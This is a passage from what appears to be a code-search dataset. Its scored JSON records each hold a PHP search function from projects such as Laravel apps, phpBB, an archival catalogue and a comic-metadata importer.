do_template('BLOCK_MAIN_SEARCH',array('_GUID'=>'4d239be8e7d846106c951d21d7979f78','TITLE'=>$title,'INPUT_FIELDS'=>$input_fields,'EXTRA'=>$extra,'SORT'=>$sort,'AUTHOR'=>$author,'DAYS'=>strval($days),'DIRECTION'=>$direction,'ONLY_TITLES'=>$only_titles?'1':'0','ONLY_SEARCH_META'=>$only_search_meta?'1':'0','BOOLEAN_SEARCH'=>$boolean_search?'1':'0','CONJUNCTIVE_OPERATOR'=>$conjunctive_operator,'LIMIT_TO'=>$limit_to,'URL'=>$url,'FULL_LINK'=>$full_link));\n\t}", "title": "" }, { "docid": "1cd3e6fb91ee471cd965893e31b67f43", "score": "0.5381477", "text": "public function ajax_search_callback() {\n\n\t\t$search = new Mlp_Relationship_Control_Ajax_Search( $this->data );\n\t\t$search->send_response();\n\t}", "title": "" }, { "docid": "1e5e35a482e42382589c6829c9e534da", "score": "0.53808683", "text": "public function run()\n\t{\n\t\t// Select the search method\n\t\t$search_type = basename($this->config['search_type']);\n\n\t\t// We do some additional checks in the module to ensure it can actually be utilised\n\t\t$error = false;\n\t\t$search = new $search_type($error, $this->phpbb_root_path, $this->php_ext, $this->auth, $this->config, $this->db, $this->user);\n\n\t\tif (!$error)\n\t\t{\n\t\t\t$search->tidy();\n\t\t}\n\t}", "title": "" }, { "docid": "0bfbdd70f601cade531deb62f8fdd0c7", "score": "0.5378668", "text": "public function postSearch(Request $request)\n {\n\t\t$user = null;\n\t\t\n\t\tif(Auth::check())\n\t\t{\n\t\t\t$user = Auth::user();\n\t\t}\n\t\t\t\n\t\t$req = $request->all();\n \n $validator = Validator::make($req, [\n 'term' => 'required',\n 'opt' => 'required',\n ]);\n \n if($validator->fails())\n {\n $messages = $validator->messages();\n return redirect()->back()->withInput()->with('errors',$messages);\n }\n\t\t else\n\t\t {\n\t\t\t $term = $req['term'];\n\t\t\t $opt = $req['opt'];\n\t\t\t $searchResults = $this->helpers->search($term,$opt);\n\t\t\t $bs = $this->helpers->getProducts(); shuffle($bs);\n\t\t\t $cart = $this->helpers->getCart($user);\n\t\t\t #dd($searchResults);\n\t\t\t return view('results',compact(['searchResults','bs','cart']));\n\t\t } \n }", "title": "" }, { "docid": "162fa746a228116e1b31421c49f1a473", "score": "0.5376669", "text": "public function searchAction() {\n\t $pubTable = new Model_DbTable_Pub();\n\t \n\t $pubService = new Service_Pub();\n\t $pubs = $pubTable->fetchAll($pubService->searchPub($this->_getParam('q')));\n\t \n\t $this->_generateResponse($pubs);\n\t}", "title": "" }, { "docid": "c9a3a434fc94ad2998200c6c26549731", "score": "0.5371379", "text": "function search() {\n if (!isset($this->args[1])) {\n $query = $this->in(__(\"Enter a search term or 'q' or nothing to exit\", true), null, 'q');\n } else {\n $query = $this->args[1];\n }\n\n if ($query === 'q') {\n $this->_stop(1);\n }\n\n $this->out(__('Searching all plugins for query...', true));\n $this->_socket();\n $plugins = $this->_search($query);\n\n if (empty($plugins)) {\n $this->out(__('No results found. Sorry.'));\n } else {\n $this->out(sprintf('%d results found.', count($plugins)), 2);\n\n foreach ($plugins as $key => $result) {\n $name = str_replace(array('-plugin', '_plugin'), '', $result->name);\n $this->out(sprintf(__('%d. %s', true), $key + 1, $name));\n $this->out(sprintf(__(' %s', true), $result->summary), 2);\n }\n }\n }", "title": "" }, { "docid": "fe8e63e6768d3522de093f6f4524f95d", "score": "0.5361627", "text": "public function search(Request $request){\n $search = $request->route('search');\n\n // Search in the title and body columns from the posts table\n $cars = Car::query()\n ->where('name', 'LIKE', \"%{$search}%\")\n ->orWhere('modelname', 'LIKE', \"%{$search}%\")\n ->get();\n\n // Return the search view with the resluts compacted\n return response($cars, 200);\n }", "title": "" }, { "docid": "0f9bd5df3c182cb87539348d06de3b68", "score": "0.535216", "text": "public function serviceAction()\n {\n $this->searchService();\n }", "title": "" }, { "docid": "c972ade41c230993cdd72caa5a0d8fe2", "score": "0.534479", "text": "public static function busqueda_general(){\n\n\t\tsession_start();\n\n\t\t$tech = $_SESSION['logged_user'];\n\t\t$techId = $tech->id;\n\t\tView::set(\"user\", $tech );\n\n\t\tView::set(\"pageTitle\", \"Resultados de Búsqueda en el Sistema...\");\n\n\t\tif ( isset( $_POST[\"search_type\"] ) ){\n\n\t\t\t$opcion = $_POST[\"search_type\"];\n\t\t\tView::set(\"opcion\", $opcion);\n\n\t\t\tif ( $opcion == \"personas\" ){\n\n\t\t\t\t/*************************************************************************************/\n\t\t\t\t$search = $_POST[\"searchPersons\"];\n\n\t\t\t\tif ( strlen($search) >= 3 ){\n\t\t\t\t\t$usuarios = UserAdmin::searchUsers2( $search );\n\t\t\t\t\tView::set(\"people\", $usuarios);\n\t\t\t\t}\n\n\t\t\t\tView::set(\"searchedPersons\", $search);\n\n\t\t\t} else if ( $opcion == \"empresas\" ){\n\n\t\t\t\t/*************************************************************************************/\n\t\t\t\t$search = $_POST[\"searchCompanies\"];\n\n\t\t\t\tif ( strlen($search) >= 3 ){\n\t\t\t\t\t$companies = Empresas::searchCompanies( $search );\n\t\t\t\t\tView::set(\"companies\", $companies);\n\t\t\t\t}\n\n\t\t\t\tView::set(\"searchedCompanies\", $search);\n\n\t\t\t} else if ( $opcion == \"equipos\" ){\n\n\t\t\t\t/*************************************************************************************/\n\t\t\t\t$search = \"\" . $_POST[\"searchEquipos\"];\n\n\t\t\t\tif ( strlen($search) >= 3 ){\n\t\t\t\t\t\n\t\t\t\t\t$tipoEquipo = $_POST[\"tipo_equipo\"];\n\t\t\t\t\tif ( $tipoEquipo == \"none\" ){\n\t\t\t\t\t\t$tipoEquipo = \"0\";\n\t\t\t\t\t}\n\n\t\t\t\t\t$equipment = Equipos::searchEquipos2($search, $tipoEquipo);\n\t\t\t\t\tView::set(\"equipment\", $equipment);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tView::set(\"searchedEquipos\", $search);\n\n\t\t\t} else if ( $opcion == \"incidencias\" ){\n\n\t\t\t\t/*************************************************************************************/\n\t\t\t\t$search \t\t= $_POST[\"searchIncidencias\"];\n\t\t\t\t$tipoBusqueda \t= \"\" . $_POST[\"search_incidencia_type\"];\n\t\t\t\t$tipoFalla \t\t= \"\"; \n\t\t\t\t\n\t\t\t\tif ( $tipoBusqueda == \"2\" || $tipoBusqueda == \"3\" ){\n\t\t\t\t\t$tipoFalla \t= $_POST[\"tipo_falla\"];\n\t\t\t\t\tif ( $tipoFalla == \"none\" ){\n\t\t\t\t\t\t$tipoFalla = \"0\";\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( ($tipoBusqueda == \"1\" && is_numeric($search))\n\t\t\t\t\t\t|| ( ($tipoBusqueda == \"2\" || $tipoBusqueda == \"3\") && strlen($search) >= 3)\n\t\t\t\t\t\t|| ($tipoBusqueda == \"4\" && strlen($search) >= 12 && Tecnicos::verificarFechasBusquedaIncidencias($search)) ){\n\n\t\t\t\t\t$incidencias = Incidencias::searchIncidencias($tipoBusqueda, $search, $tipoFalla);\n\t\t\t\t\tView::set(\"incidencias\", $incidencias);\n\t\t\t\t}\n\n\t\t\t\tView::set(\"searchedIncidencias\", \t$search);\n\t\t\t\tView::set(\"searchedTipoIncidencia\", $tipoFalla);\n\t\t\t\tView::set(\"searchedTipo1al4\", \t\t\"\" . $tipoBusqueda);\n\t\t\t}\n\t\t}\n\n\t\t/* VISTA */\n\t\t$opcionMenu = \"busqueda_general\";\n\t\tView::set(\"opcionMenu\", $opcionMenu);\n\n\t\t/**/\n\t\t$tipoEquipos = Equipos::getAllTipoEquipos();\n\t\tView::set(\"tipoEquipos\", $tipoEquipos);\n\n\t\t/* combobox */\n\t\t$fallas = Clients::getFallasGenerales();\n\t\tView::set(\"fallas\", $fallas);\n\n\t\tView::render( \"portal_tech_home\" );\n\t}", "title": "" }, { "docid": "749961be9eea2df879b148449d9f786e", "score": "0.53412265", "text": "public function search(Request $request) {\n $constraints = [\n 'name' => $request['name']\n ];\n\n $cities = $this->doSearchingQuery($constraints);\n return view('site/index', ['cities' => $cities, 'searchingVals' => $constraints]);\n }", "title": "" }, { "docid": "e8b184523cfa9e9c90ab2b7764eb689d", "score": "0.53368723", "text": "public function index()\r\n \r\n {\r\n $filter = $this->input->get('filter', '', 'array');\r\n $source = \\Search\\Factory::defaultSource();\r\n if (empty($filter) && $source == 'all')\r\n {\r\n $this->allSearch();\r\n }\r\n else\r\n {\r\n $this->filteredSearch();\r\n }\r\n }", "title": "" }, { "docid": "5527a6a060694020ac4bc6f8687bc365", "score": "0.5334138", "text": "public function search(Request $request)\n {\n $userInfo = $this->getAuthenticatedUser();\n $keyword = $request->get('keyword');\n $connectionModel = new Connections;\n $myConnectionList = $connectionModel->where([\n 'user_id' => $userInfo->id,\n 'is_accepted' => 1\n ])->pluck('other_user_id')->toArray();\n\n $otherConnectionList = $connectionModel->where([\n 'other_user_id' => $userInfo->id,\n 'is_accepted' => 1\n ])->pluck('requested_user_id')->toArray();\n\n $blockUserIds = access()->getBlockUserIds($userInfo->id);\n\n $userModel = new User; \n $allConnections = array_merge($myConnectionList, $otherConnectionList);\n $allConnections = array_unique($allConnections);\n\n $userRequestIds = $connectionModel->where([\n 'user_id' => $userInfo->id,\n 'is_accepted' => 0\n ])->pluck('other_user_id')->toArray();\n\n $myRequestIds = $connectionModel->where([\n 'other_user_id' => $userInfo->id,\n 'is_accepted' => 0\n ])->pluck('other_user_id')->toArray();\n\n\n $myRequestIds = array_merge($userRequestIds, $myRequestIds);\n $myRequestIds = array_unique($myRequestIds); \n\n if(1==1)\n {\n $suggestions = $userModel->whereNotIn('id', $myRequestIds)\n ->where('id', '!=', $userInfo->id)\n ->whereNotIn('id', $blockUserIds)\n ->where(function($q) use($keyword)\n {\n $q->where('name', 'LIKE', '%'. $keyword .'%')\n ->orwhere('email', 'LIKE', '%'. $keyword .'%');\n })\n ->get();\n if(isset($suggestions) && count($suggestions))\n {\n $itemsOutput = $this->connectionsTransformer->searchUserTranform($suggestions, $allConnections, $userRequestIds, $userInfo, $myRequestIds);\n\n if(count($itemsOutput) && isset($itemsOutput))\n {\n return $this->successResponse($itemsOutput);\n }\n\n return $this->successResponse([], 'No Result Found !');\n }\n }\n \n\n return $this->setStatusCode(400)->failureResponse([\n 'message' => 'Unable to find Connections!'\n ], 'No Connections Found !');\n }", "title": "" }, { "docid": "22ab3e9dad833b848a0dc44c9eb1d063", "score": "0.5331105", "text": "public function doSearch(){\n\t\t$search = $this->_buildUrl();\n\t\t$useragent=\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\";\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_USERAGENT, $useragent);\n\t\tcurl_setopt($ch, CURLOPT_URL, $search);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t$results = curl_exec($ch);\n\t\tcurl_close($ch);\n\t\t$results = json_decode($results);\n\t\t// split the search term up...\n\t\t$words = explode(' ',$search);\n\t\t$max = 0;\n\t\t$select = 0;\n\t\t// loop through the search results and see if any are relevant\n\t\tfor ($i=0;$i<count($results->query->search);$i++){\n\t\t\t$count = 0;\n\t\t\tfor($j=0;$j<count($words);$j++){\n\t\t\t\tif (strpos($results->query->search[$i]->snippet,$words[$j])){\n\t\t\t\t\t$count++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($count >= $max){\n\t\t\t\t$select = $i;\n\t\t\t\t$max = $count;\n\t\t\t}\n\t\t}\n\t\treturn $results->query->search[$select]->snippet;\n\t}", "title": "" }, { "docid": "45744359b8975e22a4ad1befa36771b4", "score": "0.53301543", "text": "private function executeSearch(): array\n {\n $age = input_request('age');\n $author = input_request('author');\n $subject = input_request('subject');\n $body = input_request('body');\n $nonce = $this->create_nonce();\n $json = [\n 'nonce' => $nonce,\n 'admin_url' => url_admin_post(),\n 'referer' => url_menu('bc_email'),\n 'title' => \\get_admin_page_title(),\n 'images' => url_images(),\n 'mode' => 'search',\n 'authors' => getAdministrators(),\n 'age' => $age,\n 'author' => $author,\n 'subject' => $subject,\n 'body' => $body\n ];\n $json['found'] = $this->search($age, $author, $subject, $body);\n return $json;\n }", "title": "" }, { "docid": "f3bc6b9d117d14e3111126833326927d", "score": "0.5329384", "text": "public function processSearch()\n\t{\n\t\tif ( $this->isMeta(UploadImport::META_QUERY) == false ) {\n\t\t\t$mediaFilename = new MediaFilename($this->getMeta(UploadImport::META_MEDIA_NAME), true);\n\t\t\t$this->setMeta( UploadImport::META_QUERY, $mediaFilename->updateFileMetaData());\n\t\t}\n\n\t\t$ep_model = Model::Named('Endpoint');\n\t\t$points = $ep_model->allForTypeCode(Endpoint_Type::ComicVine);\n\t\tif ($points == false || count($points) == 0) {\n\t\t\t$this->setStatusMetaData( \"NO_ENDPOINTS\" );\n\t\t\tLogger::logInfo( \"No ComicVine Endpoints defined \", __method__, $this->sourceFilename());\n\t\t\treturn false;\n\t\t}\n\n\t\t$connection = new ComicVineConnector($points[0]);\n\t\tif ( $this->isMeta(UploadImport::META_QUERY_CVID) == true ) {\n\t\t\t$issue = $connection->issue_search(\n\t\t\t\tnull,\n\t\t\t\t$this->getMeta(UploadImport::META_QUERY_CVID),\n\t\t\t\tnull,\n\t\t\t\tnull,\n\t\t\t\t$this->getMeta(UploadImport::META_QUERY_YEAR),\n\t\t\t\t$this->getMeta(UploadImport::META_QUERY_ISSUE)\n\t\t\t);\n\t\t}\n\t\telse {\n\t\t\t$issue = $connection->issue_searchFilteredForSeriesYear(\n\t\t\t\t$this->getMeta(UploadImport::META_QUERY_ISSUE),\n\t\t\t\t$this->getMeta(UploadImport::META_QUERY_NAME),\n\t\t\t\t$this->getMeta(UploadImport::META_QUERY_YEAR)\n\t\t\t);\n\t\t}\n\n\t\tif ( $issue == false )\n\t\t{\n\t\t\t$this->setStatusMetaData( \"NO_MATCHES\" );\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->setMeta( UploadImport::META_RESULTS_ISSUES, $issue );\n\t\tif (count($issue) > 1) {\n\t\t\t$this->setStatusMetaData( \"MULTIPLE_MATCHES\" );\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->setStatusMetaData( \"COMICVINE_SUCCESS\" );\n\t\treturn true;\n\t}", "title": "" }, { "docid": "7d1390186a85b94abd06e4068271da40", "score": "0.5328287", "text": "public function search(Request $request)\n {\n $getname = request('sname');\n $services = AddServicesModel::query()->where('sname','LIKE',\"%{$getname}%\")->get();\n return view('/admin/viewservices',compact('services'));\n }", "title": "" }, { "docid": "95a82bdb1e3e268135dd8cace353cb22", "score": "0.5328139", "text": "public function search(Request $request) {\n // Mọi request gửi lên server đều đọc được bởi biến request\n // Khai báo 1 query\n $search = (new Promotion)->newQuery();\n if($request->exists('q')) {\n // Nếu request gửi lệnh có query dạng api/promotion/search?q=<keyword>\n // Thì sẽ thực hiện câu truy vấn\n $search->where('Contents', 'LIKE','%'.$request->q.'%'); \n }\n // Nếu có query q => trả về kết quả tìm kiềm \n // Nếu không get tất cả danh sách ra\n $result = $search->get();\n return response()->json([\n 'data' => $result\n ]);\n }", "title": "" }, { "docid": "9118366b6e55272130f705a9385915f0", "score": "0.53265154", "text": "public function handle(): void\n {\n $search_word = $this->Argument('search_word');\n $token = $this->Argument('token');\n\n $search_response = Http::get(\"https://api.github.com/search/code?q={$search_word}&access_token={$token}\");\n\n if (!$search_response->successful()) {\n $this->warn('Nope!!!!!!!!!!!!!!!!!');\n return;\n }\n\n ['total_count' => $count] = $search_response->json();\n\n if ($count == 0) {\n $this->warn('EMPTY!!!!!');\n return;\n }\n\n $page_number = ceil($count / 100);\n $this->info(\"The number of {$search_word} is {$count} \");\n\n for ($page = 0; $page < $page_number; $page++) {\n $current_page = $page + 1;\n $search_response = Http::get(\"https://api.github.com/search/code?q={$search_word}&access_token={$token}&per_page=100&page={$current_page}\");\n\n $searchArray = json_decode($search_response, true);\n\n $how_many = 100;\n\n if ($count < 100)\n $how_many = $count % 100;\n\n $count = $count - 100;\n\n for ($item = 0; $item < $how_many; $item++) {\n $this->info(\"********************************************************** {$item}\");\n $this->info($searchArray['items'][$item]['name']);\n $this->info('');\n $this->info($searchArray['items'][$item]['html_url']);\n\n }\n\n\n }\n }", "title": "" }, { "docid": "6a449c0abf6cb358f5f09edff0691a6d", "score": "0.5326277", "text": "public function executeAutocomplete(sfWebRequest $request)\n {\n // Search is in virtual pages, the TITLE field is dead (or going to be) and not\n // I18N, we have to cope with that correctly. I tried to use Zend Search but we\n // can't easily distinguish blog pages from the rest and that seems to be a deeper\n // architectural problem. I still had to fix a few things in PluginaBlogItem which\n // was locking the virtual pages down and making them unsearchable by normal mortals.\n // Now it locks them down only when they are not status = published. Republish things\n // to get the benefit of this on existing sites\n \n $this->aEvents = aBlogItemTable::titleSearch($request->getParameter('q'), '@a_event_search_redirect');\n $this->setLayout(false);\n }", "title": "" }, { "docid": "5446c0f89bcde0fb6876da36b29a649a", "score": "0.53248346", "text": "public function execute($request)\n {\n if (!isset($request->limit))\n {\n $request->limit = 30;\n }\n\n $culture = $this->context->user->getCulture();\n\n $this->query = new \\Elastica\\Query();\n $this->query->setSize($request->limit);\n $this->query->setSort(array(\n 'levelOfDescriptionId' => 'asc',\n 'identifier.untouched' => 'asc',\n 'i18n.'.$culture.'.title.untouched' => 'asc'));\n\n $this->queryBool = new \\Elastica\\Query\\BoolQuery;\n\n if (1 === preg_match('/^[\\s\\t\\r\\n]*$/', $request->query))\n {\n $this->queryBool->addMust(new \\Elastica\\Query\\MatchAll);\n }\n else\n {\n $queryString = new \\Elastica\\Query\\QueryString(arElasticSearchPluginUtil::escapeTerm($request->query));\n $queryString->setDefaultOperator('AND');\n\n // Search for referenceCode or identifier, and title\n if (1 == sfConfig::get('app_inherit_code_informationobject', 1))\n {\n $queryString->setFields(array('i18n.'.$culture.'.title.autocomplete', 'referenceCode.autocomplete'));\n\n // Change sort order\n $this->query->setSort(array(\n 'levelOfDescriptionId' => 'asc',\n 'referenceCode.untouched' => 'asc',\n 'i18n.'.$culture.'.title.untouched' => 'asc'));\n }\n else\n {\n $queryString->setFields(array('i18n.'.$culture.'.title.autocomplete', 'identifier'));\n }\n\n $this->queryBool->addMust($queryString);\n }\n\n // Filter results by parent\n if (!empty($request->parent) && ctype_digit($request->parent))\n {\n $queryTerm = new \\Elastica\\Query\\Term;\n $queryTerm->setTerm('parentId', $request->parent);\n\n $this->queryBool->addMust($queryTerm);\n }\n\n // Filter results by repository\n if (!empty($request->repository) && ctype_digit($request->repository))\n {\n $queryTerm = new \\Elastica\\Query\\Term;\n $queryTerm->setTerm('repository.id', $request->repository);\n\n $this->queryBool->addMust($queryTerm);\n }\n\n // Filter drafts\n if (isset($request->filterDrafts) && $request->filterDrafts)\n {\n QubitAclSearch::filterDrafts($this->queryBool);\n }\n\n $this->query->setQuery($this->queryBool);\n\n $resultSet = QubitSearch::getInstance()->index->getType('QubitInformationObject')->search($this->query);\n\n // Page results\n $this->pager = new QubitSearchPager($resultSet);\n $this->pager->setPage($request->page ? $request->page : 1);\n $this->pager->setMaxPerPage($request->limit);\n $this->pager->init();\n }", "title": "" }, { "docid": "39889d442cdcd5501185a6bbf90a4d5b", "score": "0.5321932", "text": "function handleGETRequest() {\n if (connectToDB()) {\n if (array_key_exists('aggregateTuples', $_GET)) {\n handleAggregationRequest();\n } else if (array_key_exists('displayTuples', $_GET)) {\n handleDisplayRequest();\n } else if (array_key_exists('divisionRequest', $_GET)) {\n handleDivisionRequest();\n } else if (array_key_exists('aggregateGroupByRequest', $_GET)) {\n handleAggregationGroupByRequest();\n } else if (array_key_exists('aggregateHavingRequest', $_GET)) {\n handleAggregationHavingRequest();\n } else if (array_key_exists('nestedAggregationRequest', $_GET)) {\n handleNestedAggregationRequest();\n }\n\n disconnectFromDB();\n }\n }", "title": "" }, { "docid": "1f77f4db5a038a95be13cae7219cf05c", "score": "0.5317025", "text": "private function job_get_by_search()\n {\n //echo '*** job_get_by_search()</p>';\n \n $keyword = $this->session->userdata('keyword');\n $location = $this->session->userdata('location');\n $country_id = 'NULL'; \n $job_type_id = $this->session->userdata('job_type') == NULL ? '1' : $this->session->userdata('job_type');\n $brand_id = 'NULL'; \n $row_start = $this->row_start; \n $row_amount = $this->row_amount;\n\n \n $data['query'] = $this->job->search( $keyword, \n $location, \n $country_id, \n $job_type_id, \n $brand_id, \n $row_start, \n $row_amount);\n\n \n $data['row_index'] = $this->row_index;\n $data['uri_path'] = 'jobs/page';\n\n $this->job_display_selection($data);\n }", "title": "" }, { "docid": "db34288ec7800d4791f6ae265267501a", "score": "0.5314135", "text": "public function search(Request $request) {\n $form = $this->request = $request->all();\n\n $conditions = ['=' => '=', '>=' => '>', '<=' => '<'];\n\n if ($request['dosearch'] == true) {\n $items = Registry::select('*')\n ->selectRaw('(SELECT COUNT(id) FROM procedures WHERE registry_id = registries.id) AS procedures')\n ->where(function ($query) {\n if (@$this->request['protocol'] <> null ) $query->where('protocol', 'ilike', '%'.$this->request['protocol'].'%');\n if (@$this->request['document_type'] <> null ) $query->whereIn('document_type', $this->request['document_type']);\n if (@$this->request['document_number'] <> null ) $query->where('document_number', 'ilike', '%'.$this->request['document_number'].'%');\n if (@$this->request['source'] <> null ) $query->where('source', 'ilike', '%'.$this->request['source'].'%');\n if (@$this->request['status'] <> null ) $query->whereIn('status', $this->request['status']);\n if (@$this->request['priority'] <> null ) $query->whereIn('priority', $this->request['priority']);\n if (@$this->request['interested'] <> null ) $query->where('interested', 'ilike', '%'.$this->request['interested'].'%');\n if (@$this->request['date_in'] <> null ) $query->where('date_in', $this->request['date_in_condition'], '%'.$this->request['date_in'].'%');\n if (@$this->request['deadline'] <> null ) $query->where('deadline', $this->request['deadline_condition'], '%'.$this->request['deadline'].'%');\n if (@$this->request['date_out'] <> null ) $query->where('date_out', $this->request['date_out_condition'], '%'.$this->request['date_out'].'%');\n if (@$this->request['date_return'] <> null ) $query->where('date_return', $this->request['date_return_condition'], '%'.$this->request['date_return'].'%');\n if (@$this->request['subject'] <> null ) $query->where('subject', 'ilike', '%'.$this->request['subject'].'%');\n })\n ->orderby('deadline', 'ASC')\n ->paginate(50);\n\n $this->files = FileManager::getFiles()->pluck('route_id', 'id')->countBy();\n\n $items->each( function($item) {\n $item->date_in = date(\"d/m/Y\", strtotime($item->date_in));\n $item->deadline = date(\"d/m/Y\", strtotime($item->deadline));\n $item->files = isset($this->files[$item->id]) ? $this->files[$item->id] : 0;\n });\n } else {\n $items = [];\n }\n\n $doctypes = Doctype::orderBy('name')->get()->pluck('name', 'id');\n $statuses = Status::orderBy('order', 'asc')->get()->pluck('name', 'id');\n $priorities = Priority::orderBy('order', 'asc')->get()->pluck('name', 'id');\n\n return view('legaladvice.registries.search', compact('form', 'items', 'conditions', 'doctypes', 'statuses', 'priorities'));\n }", "title": "" }, { "docid": "aa3d20f6ee83b2b096c9b45bdb619eaa", "score": "0.5313988", "text": "function identifySearch($search) {\n global $generator;\n global $form;\n \n \tswitch($search){ \n\n\t\t\tcase 'name' : \n\t\t\t//$result = $generator->all_recipes(); \n\t\t\t$result = $generator->recipes_table(); \n \t\tbreak; \n \t\t\n \t\tcase 'name2';\n\t\t\t$result = $generator->all_recipes(); \n \t\tbreak;\n \t\t\n\t\t\tcase 'category' : \n \t\t$result = $generator->all_categories();\n \t\tbreak; \n \t\t\n \t\tcase 'alcohol' : \n \t\techo \"search recipes by alcohol content\"; \n \t\tbreak;\n \t\t\n \t\tcase 'ingredient' : \n \t\t//echo \"search recipes by ingredient\"; \n \t\t$result = $generator->recipes_ingredients();\n \t\tbreak;\n \t\t\n \t\tcase 'i_name' : \n \t\t$result = $generator->all_ingredients();\n \t\tbreak;\n \t\t\n \t\tcase 'i_type' : \n \t\techo \"search ingredients by type\"; \n \t\tbreak;\n \t\t\n \t\tcase 'addsuggestion' :\n \t\t$result = $form->suggestionForm();\n \t\tbreak;\n \t\t\n \t\tcase 'admin':\n \t\t$result = $form->createAdminCenter();\n \t\tbreak;\n \t\t\n \t\tcase 'users':\n \t\t$result = $generator->standard_users();\n \t\tbreak;\n \t\t\n \t\tcase 'recipe':\n \t\t//$result = $this->createAdminCenter();\n \t\tbreak;\n \t\t\n \t\tcase 'suggestions':\n \t $result = $generator->list_suggestions();\n \t\tbreak;\n\t\t\t\n\t\t\t//Admin is upgrading user\n\t\t\tcase 'upgrade_user':\n\t\t\t$result = $generator->users_list_upgrade();\n\t\t\tbreak;\n\t\t\t\n\t\t\tdefault : \n \t\t$result = 'failed'; \n\t\t}\n\t\t\n\t\treturn $result;\t\n }", "title": "" }, { "docid": "271937473277df996cc89d445287a0e9", "score": "0.53123546", "text": "public function executeSearch(sfWebRequest $request)\n\t{\n\t\t$_orgID = $this->getUser()->getAttribute('orgID');\n\t\t$_orgTokenID = $this->getUser()->getAttribute('orgTokenID'); \n\t\t\n\t\t$_limit = $request->getParameter(\"limit\");\n\t\t$_offset = $request->getParameter(\"offset\");\n\t\t$_categoryID = $request->getParameter(\"category_id\");\n\t\t$_keyword = $request->getParameter(\"keyword\");\n\t\t$_keyword = '%' . $_keyword . '%';\n\t\t\n\t\tif(!$_offset || $_offset=='')\t$_offset = 0;\t\t\t\n\t\tif(!$_limit || $_limit=='' ) $_limit = 50;\t\t\t \n\t\tif(!$_categoryID || $_categoryID == '' ) $_categoryID = null;\t\t\t \n\t\tif(!$_gameTypeID || $_gameTypeID == '' ) $_gameTypeID = null;\t\t\t \n\t\tif(!$_keyword || $_keyword == '' ) $_keyword = null;\t\t\t \n\t\t\n\t\t$_sportGames = SportGameTable::processSelection ( null, null, null, null, $_keyword, $_offset, $_limit );\n\t\t$_countSportGames = SportGameTable::processAll ($_orgID, $_orgTokenID, $_categoryID, $_activeFlag, $_keyword ); \n\t\t/*if (!$_sportGames)\n\t\t{\n\t\t\treturn $this->renderPartial('error', array('_sportGames' => $_sportGames));\n\t\t}*/\n\t\treturn $this->renderPartial('list', array('_sportGames' => $_sportGames, '_countSportGames' => $_countSportGames));\n\n\t}", "title": "" }, { "docid": "acc8f74ab8090a6c71b03c9fa8fef5c9", "score": "0.53115594", "text": "public function search(){\n if($this->getRequestType() !== \"GET\") {\n $this->requestError(405);\n }\n $request = $this->getRequestParams();\n $requiredParams = [\"year\"];\n foreach($requiredParams as $param){\n if(!isset($request[$param]) || $request[$param] == '' ){\n $this->sendResponse([\"success\" => 0, \"message\" => $param.\" parameter is required\"]);\n }\n }\n\n $auto = Auto::model()->findAll($request);\n\n $this->sendResponse([\"success\" => 1, \"data\" => $auto], 'txt');\n }", "title": "" } ]